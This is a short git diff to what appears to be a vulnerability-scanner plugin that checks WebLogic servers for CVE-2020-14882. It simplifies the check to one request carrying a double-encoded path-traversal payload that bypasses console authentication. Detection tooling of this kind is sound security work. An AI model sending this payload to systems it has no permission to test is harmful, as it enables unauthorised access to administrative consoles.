diff --git a/stars/cve_2020_14882.py b/stars/cve_2020_14882.py index 90188ba..4582915 100644 --- a/stars/cve_2020_14882.py +++ b/stars/cve_2020_14882.py @@ -22,14 +22,9 @@ class CVE_2020_14882(Star): def light_up(self, dip, dport, force_ssl=None, *args, **kwargs) -> (bool, dict): session = requests.session() - for path in paths: - http('http://{}:{}/console/css/%252e%252e%252fconsole.portal'.format(dip, - dport), ssl=force_ssl, session=session) - r, data = http('http://{}:{}/console/css/%252e%252e%252fconsole.portal'.format( - dip, dport), ssl=force_ssl, session=session) - - if r and r.status_code == 200: - return True, {'url': r.url} + r, data = http('http://{}:{}/console/css/%252e%252e%252fconsole.portal'.format(dip, dport), ssl=force_ssl, session=session) + if r and r.status_code == 200: + return True, {'url': r.url} return False, {}